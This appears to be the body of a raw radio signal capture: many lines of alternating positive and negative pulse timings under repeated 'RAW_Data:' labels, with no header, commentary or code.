-1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 3399 -1400 1801 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -3002 1801 -1400 3793 -4322 1655 -3012 3323 -3148 3167 -3186 3189 -3192 3389 -2994 3401 -2996 3401 -3002 3393 -3002 3403 -2994 3401 -2998 3407 -2994 3401 -2994 3393 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -3004 1795 -1398 1799 -1402 1801 -1396 3397 -3004 3401 -1396 1793 -2998 3403 -1400 1801 -3002 1795 -1394 3397 -3002 1801 -1402 3401 -2994 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1398 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1396 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 3401 -1402 1801 -2994 3401 -1398 1795 -1402 1799 -1402 1801 -2994 3401 -3594 835 -1436 377 -1140 1711 -3242 3159 -3176 3181 -3190 3193 -3200 3201 -3202 3197 -3196 3393 -2994 3407 -2996 3395 -2994 3401 -3002 3403 -2994 3401 -2994 3407 -1404 1597 -1592 1791 -1398 1801 -1402 1799 -1402 1795 -3000 1799 -1402 1801 -1400 1801 -1396 3391 -3002 3401 -1396 1797 -3002 3403 -1400 1801 -2994 1801 -1400 3401 -3002 1797 -1394 3397 -1402 1799 -3002 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 -RAW_Data: 1801 -1402 1799 -1402 1799 -1398 1791 -1398 3401 -1402 1801 -3006 3397 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -3006 3799 -1526 441 -1060 2475 -2980 3315 -2928 3499 -3076 3249 -3030 3417 -3014 3411 -3006 3401 -2994 3401 -3002 3395 -3002 3393 -3002 3401 -3000 3209 -3202 3197 -1596 1787 -1392 1797 -1400 1801 -1402 1799 -1402 1799 -2996 1799 -1402 1801 -1400 1801 -1396 3399 -3002 3401 -1396 1793 -2998 3403 -1396 1797 -3002 1801 -1400 3401 -3002 3395 -2994 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 3401 -1402 1801 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -7480 27707 -2512 3729 -2756 3573 -2984 3385 -2994 3399 -2990 3393 -3006 3205 -3192 3393 -3002 3393 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1797 -3002 1799 -1402 1801 -1396 1791 -1398 3403 -3002 3401 -1400 1797 -2998 3403 -1400 1795 -2992 1801 -1400 3401 -3008 3205 -3194 3393 -3002 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1396 1797 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 3403 -1400 1801 -1400 1795 -3000 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 3803 -4446 1433 -3026 3349 -3164 3173 -3188 3189 -3198 3197 -3194 3395 -3002 3393 -3002 3403 -2994 3401 -2994 3401 -3004 3401 -2998 3397 -2994 3403 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -3002 1795 -1394 1797 -1400 1801 -1402 3401 -2994 3401 -1402 1799 -3004 3393 -1400 1797 -2990 1801 -1400 3403 -3002 3401 -1398 1791 -2998 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1797 -1402 -RAW_Data: 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 3403 -1400 1801 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 1801 -1400 3393 -7770 21481 -2430 3819 -2810 3401 -3002 3401 -3002 3403 -3002 3401 -3002 3393 -3002 3407 -2998 3393 -3002 3395 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1795 -3000 1801 -1400 1801 -1396 1791 -1400 3401 -3002 3401 -1402 1799 -3002 3395 -1400 1801 -2994 1801 -1400 3395 -3002 3401 -1402 1795 -1394 1795 -3004 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1398 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 3403 -1400 1801 -1396 1797 -3002 1801 -1400 1801 -1398 1795 -1402 3401 -3002 3795 -3852 2121 -3066 3329 -3156 3167 -3174 3189 -3192 3393 -3002 3393 -3004 3393 -3002 3401 -2994 3403 -2994 3401 -2994 3401 -3004 3401 -2994 3401 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -3002 1801 -1402 1799 -1402 1795 -1394 3397 -3004 3401 -1400 1801 -3002 3393 -1402 1801 -2994 1799 -1402 3401 -1398 1795 -2996 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 3401 -1402 1795 -1394 1797 -3002 1801 -1400 1801 -1400 1795 -1396 3397 -1400 1801 -7618 -RAW_Data: 15035 -2418 3813 -2810 3403 -3002 3401 -3002 3401 -2996 3401 -3002 3393 -3002 3403 -3002 3393 -2994 3401 -3004 3401 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -2996 1805 -1400 1795 -1398 1801 -1402 3401 -2994 3401 -1402 1795 -2992 3401 -1402 1799 -3002 1801 -1402 3393 -1400 1801 -2994 1801 -1400 3403 -2994 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1795 -1398 1801 -1400 1801 -1400 1801 -1402 3393 -1400 1801 -1402 1795 -2990 1801 -1402 1799 -1402 3401 -3002 1795 -1394 3399 -4894 8261 -2584 3593 -3002 3395 -3002 3393 -3002 3403 -2994 3401 -2994 3401 -2996 3405 -3006 3393 -2994 3395 -3002 3401 -2994 3403 -1400 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -3002 1795 -1394 1797 -1400 1801 -1400 3403 -3002 3401 -1398 1791 -2998 3403 -1400 1801 -2998 1805 -1396 3395 -1404 1795 -2992 3401 -3006 1805 -1396 1793 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 3403 -1396 1797 -1400 1801 -3002 1795 -1394 1797 -1402 3401 -3006 3397 -7586 1729 -3040 3443 -3022 3417 -3004 3401 -3002 3401 -3002 3403 -2994 3401 -3002 3393 -3000 3405 -2994 3401 -2994 3403 -2998 3205 -3198 3399 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -2992 1799 -1402 1801 -1400 1801 -1396 3395 -3006 3393 -1402 1799 -3002 3395 -1400 1801 -3002 1795 -1394 3399 -1400 1801 -3002 3401 -1398 1791 -3000 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1398 1797 -1400 -RAW_Data: 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 3403 -1400 1801 -1400 1801 -3002 1801 -1396 1793 -1398 3401 -1400 1801 -3002 3803 -3690 8945 -2004 3805 -2802 3407 -3006 3401 -3002 3393 -3002 3395 -3002 3401 -2998 3211 -3198 3393 -2994 3395 -3002 3401 -3002 3393 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -3008 1803 -1398 1791 -1394 1797 -1400 3401 -3004 3401 -1400 1801 -3002 3393 -1402 1801 -2994 1799 -1402 3401 -1398 1797 -1396 1797 -3002 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 3401 -1402 1795 -1394 1797 -3002 1801 -1400 1801 -1396 3399 -1400 1801 -1400 1801 -8146 15111 -2438 3821 -2814 3409 -3004 3401 -3002 3401 -3002 3403 -2994 3401 -3002 3393 -3002 3403 -2994 3401 -2994 3407 -1404 1597 -1592 1793 -1398 1799 -1402 1799 -1402 1801 -2994 1801 -1400 1801 -1396 1797 -1400 3407 -3006 3393 -1398 1791 -3000 3401 -1400 1801 -2994 1801 -1400 3403 -1400 1795 -1394 1797 -3002 3401 -3004 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 3403 -1400 1795 -1394 1797 -3002 1801 -1400 3407 -3006 1595 -1592 1789 -1398 3603 -4270 1767 -2816 3481 -2910 3319 -3118 3293 -3244 3229 -3014 3409 -3006 3407 -3002 3407 -3004 3395 -2994 3401 -2994 3401 -2996 3401 -3002 3399 -1404 -RAW_Data: 1595 -1594 1797 -1400 1801 -1400 1797 -1398 1799 -3002 1801 -1398 1791 -1398 1801 -1400 3401 -3006 3207 -1596 1791 -2992 3401 -1402 1801 -3002 1795 -1398 3401 -1402 1795 -1398 1801 -1400 1801 -3002 1795 -1394 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 3401 -1402 1795 -1394 1797 -3002 1801 -1400 3407 -3004 1597 -1594 3393 -8044 8285 -2600 3601 -3004 3401 -2994 3401 -2994 3403 -3002 3407 -2996 3393 -3004 3393 -3002 3399 -3004 3395 -2994 3401 -3002 3399 -1404 1597 -1592 1793 -1398 1799 -1402 1799 -1402 1801 -3002 1799 -1398 1797 -1396 1797 -1400 3407 -3006 3393 -1398 1791 -3000 3405 -1404 1597 -3190 1801 -1400 3403 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -3004 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 3403 -1396 1791 -1400 1799 -3002 1801 -1400 3403 -3002 3393 -3002 4003 -3520 1767 -3000 3331 -3084 3243 -3026 3409 -3002 3407 -3010 3405 -2998 3397 -2996 3401 -2994 3401 -2994 3403 -3002 3401 -2994 3403 -2994 3401 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 3401 -3002 3393 -1402 1801 -2994 3407 -1404 1793 -2988 3403 -3002 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1396 1797 -1400 -RAW_Data: 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1797 -1394 3397 -1402 1799 -1402 1799 -3004 1799 -1402 3393 -3002 3393 -1402 1801 -4796 787 -2262 1869 -2942 3419 -3010 3405 -3006 3393 -3004 3393 -3002 3401 -2994 3403 -2994 3401 -3002 3393 -3004 3401 -2994 3401 -3002 3399 -3010 3193 -1598 1791 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -3002 1797 -1394 1795 -1402 1799 -1402 3401 -3002 3395 -1400 1795 -3000 3401 -1402 1795 -2992 3401 -3002 1801 -1400 1801 -1400 1797 -1394 3397 -3002 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 3401 -1398 1791 -1398 1801 -3002 1799 -1402 3393 -1402 1799 -3004 1799 -1398 4199 -2960 2227 -2872 3355 -3174 3183 -3186 3389 -2994 3395 -3002 3393 -3002 3401 -2996 3401 -3002 3393 -3002 3395 -3002 3401 -2994 3403 -2994 3401 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 3401 -3002 3401 -1398 1791 -3000 3401 -1402 1799 -3002 3395 -3002 1795 -1398 1801 -1400 3407 -2998 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 3397 -1402 1799 -1402 1799 -3004 1799 -1398 3389 -1402 1799 -3002 3403 -7954 27839 -2554 3573 -2988 3389 -2994 3393 -3002 3395 -3002 3399 -3004 3395 -2994 3393 -3002 3401 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -3002 1799 -1398 1791 -1398 1801 -1400 3403 -3002 3393 -1400 1801 -3002 3395 -1400 -RAW_Data: 1801 -2994 3401 -3002 1797 -1394 1795 -1402 3401 -1402 1799 -3002 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 3401 -1402 1795 -1394 1797 -3002 1801 -1400 3401 -1398 1797 -1400 1801 -3002 3393 -4822 15921 -1406 3809 -2610 3601 -3002 3403 -3002 3401 -3002 3401 -3004 3393 -2994 3407 -3004 3395 -2994 3407 -2996 3395 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -3002 1795 -1394 1797 -1400 1801 -1400 3403 -3002 3399 -1404 1595 -3190 3403 -1400 1801 -3002 3393 -3006 1601 -1594 3389 -3002 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1398 1801 -1400 3403 -1396 1791 -1398 1801 -3002 1801 -1400 3403 -1396 1791 -1398 1801 -1402 1799 -6668 1963 -2566 3673 -2838 3421 -3014 3411 -3006 3393 -3002 3393 -3004 3401 -2994 3407 -2996 3395 -3002 3393 -3002 3395 -3002 3405 -2998 3399 -1400 1791 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -3002 1799 -1398 1791 -1398 1801 -1400 3403 -3002 3393 -1402 1799 -3002 3395 -1400 1801 -3002 3393 -3002 1797 -1394 3397 -3002 3401 -3002 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1396 1797 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1795 -1402 -RAW_Data: 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 3407 -1400 1791 -1394 1797 -3002 3401 -3002 1797 -1394 1795 -1402 1801 -1400 3803 -4242 1899 -2672 3763 -2746 3509 -2864 3439 -3026 3417 -3002 3401 -3008 3405 -3002 3393 -2994 3403 -3002 3405 -2998 3393 -2996 3401 -2994 3401 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -3002 1797 -1394 1795 -1402 1801 -1400 3401 -3002 3403 -1396 1793 -2998 3401 -1398 1797 -3002 3401 -3002 1795 -1394 3399 -1400 1801 -3002 1801 -1400 1795 -1398 1801 -1402 1795 -1398 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 